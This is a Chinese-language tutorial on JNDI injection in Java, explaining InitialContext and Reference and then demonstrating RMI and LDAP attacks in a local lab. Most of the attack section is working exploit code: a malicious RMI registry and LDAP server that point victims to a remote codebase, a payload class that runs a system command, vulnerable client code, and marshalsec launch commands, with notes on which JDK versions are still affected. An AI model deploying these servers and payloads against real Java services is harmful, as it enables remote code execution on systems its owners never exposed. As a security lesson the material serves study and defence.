JNDI

JNDI

1、概念

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。包括Naming Service和Directory Service,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)

2、前置知识

2.1、InitialContext

构造方法

//初始化一个上下文
InitialContext()
//构造一个初始上下文,并选择不初始化它。 
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)

常用方法

//	将名称绑定到对象。 
bind(Name name, Object obj) 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
//	检索命名对象。 
lookup(String name) 
//将名称绑定到对象,覆盖任何现有绑定
rebind(String name, Object obj) 
//取消绑定命名对象。
unbind(String name) 

代码实例

String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);

2.2、Reference

Reference是java中的引用类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法

Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

Reference的主要参数

  1. className – 远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
  2. factory – 包含用于创建此引用引用的对象的实例的工厂类的名称
  3. factoryLocation – 工厂类加载的地址,可以是file://、ftp://、// 等协议

常用方法

void	add(int posn, RefAddr addr)
将地址添加到索引posn的地址列表中。
void	add(RefAddr addr)
将地址添加到地址列表的末尾。
void	clear()
从此引用中删除所有地址。
Object	clone()
使用其类别名称列表的地址,类工厂名称和类工厂位置创建此引用的副本。
boolean	equals(Object obj)
确定obj是否是具有与该引用相同的地址(以相同的顺序)的引用。
RefAddr	get(int posn)
检索索引posn上的地址。
RefAddr	get(String addrType)
检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr>	getAll()
检索本参考文献中地址的列举。
String	getClassName()
检索引用引用的对象的类名。
String	getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String	getFactoryClassName()
检索此引用引用对象的工厂的类名。
int	hashCode()
计算此引用的哈希码。
Object	remove(int posn)
从地址列表中删除索引posn上的地址。
int	size()
检索此引用中的地址数。
String	toString()
生成此引用的字符串表示形式。

2.3、ReferenceWrapper

ReferenceWrapper类对Reference类或其子类对象进行远程包装使其能够被远程访问

类也很简单,主要通过构造方法获取Reference,同时继承了UnicastRemoteObject。

public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference {
    protected Reference wrappee;
    private static final long serialVersionUID = 6078186197417641456L;

    public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
        this.wrappee = var1;
    }

    public Reference getReference() throws RemoteException {
        return this.wrappee;
    }
}

3、JNDI注入攻击

jndi注入有很多种攻击方式,这里只展示rmi和ldap方式,其他可以学习//paper.seebug.org/1207/#

环境jdk1.8u66

3.1、JNDI+RMI

RMIServer

package com.akkacloud.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer1 {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        System.out.println("registry is runing in 1099");
        //创建新的引用类,用于引用恶意类
        Reference reference = new Reference("Calc", "com.akkacloud.jndi.Calc", "//127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("obj",referenceWrapper);


    }
}

Calc(恶意类)

package com.akkacloud.jndi;

import java.io.IOException;

public class Calc {
    public Calc() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }

}

RMIClient

package com.akkacloud.jndi;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;


public class RMIClient1 {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        String url = "rmi://localhost:1099/obj";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

首先编译我们的恶意代码文件挂在至网站

 % javac Calc.java 
 % python3 -m http.server

image-20220408234224417

运行RMIServer

image-20220408234302143

运行RMICilent

image-20220408234341892

如果高版本(我这里是8u291)则会存在报错

system property ‘com.sun.jndi.rmi.object.trustURLCodebase’ to ‘true’.

image-20220408234706732

还有就是使用marshalsec启动rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer //ip:80/#ExportObject 1099

3.2、JDNI+LDAP

由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,其内部在上文中也分析到了使用的是URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false

  1. JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
  2. JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false
  3. JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false

image.png

图引用于 //xz.aliyun.com/t/6633

导入依赖

<dependency>
  <groupId>com.unboundid</groupId>
  <artifactId>unboundid-ldapsdk</artifactId>
  <version>3.2.0</version>
</dependency>

ldapServer

package com.akkacloud.jndi;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class Ldap {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"//127.0.0.1:8000/#Calc", "9999"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(Ldap.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        /**
         *
         */
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

client

package com.akkacloud.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapClient {
    public static void main(String[] args) throws NamingException {
        String uri = "ldap://127.0.0.1:9999/calc";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

启动web服务,把恶意文件编译成class文件挂在web服务目录下,恶意文件不能包含package信息

image-20220409003420262

image-20220409003434656

其实实战可以使用marshalsec启动一个ldap服务,客户端还是一样的

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer //127.0.0.1:8000/#Calc 1389

image-20220409004039991

web服务

python3 -m http.server

image-20220409003726387

参考

//www.cnblogs.com/nice0e3/p/13958047.html

//paper.seebug.org/1091

//y4er.com/post/attack-java-jndi-rmi-ldap-2/

//paper.seebug.org/1207/#ldap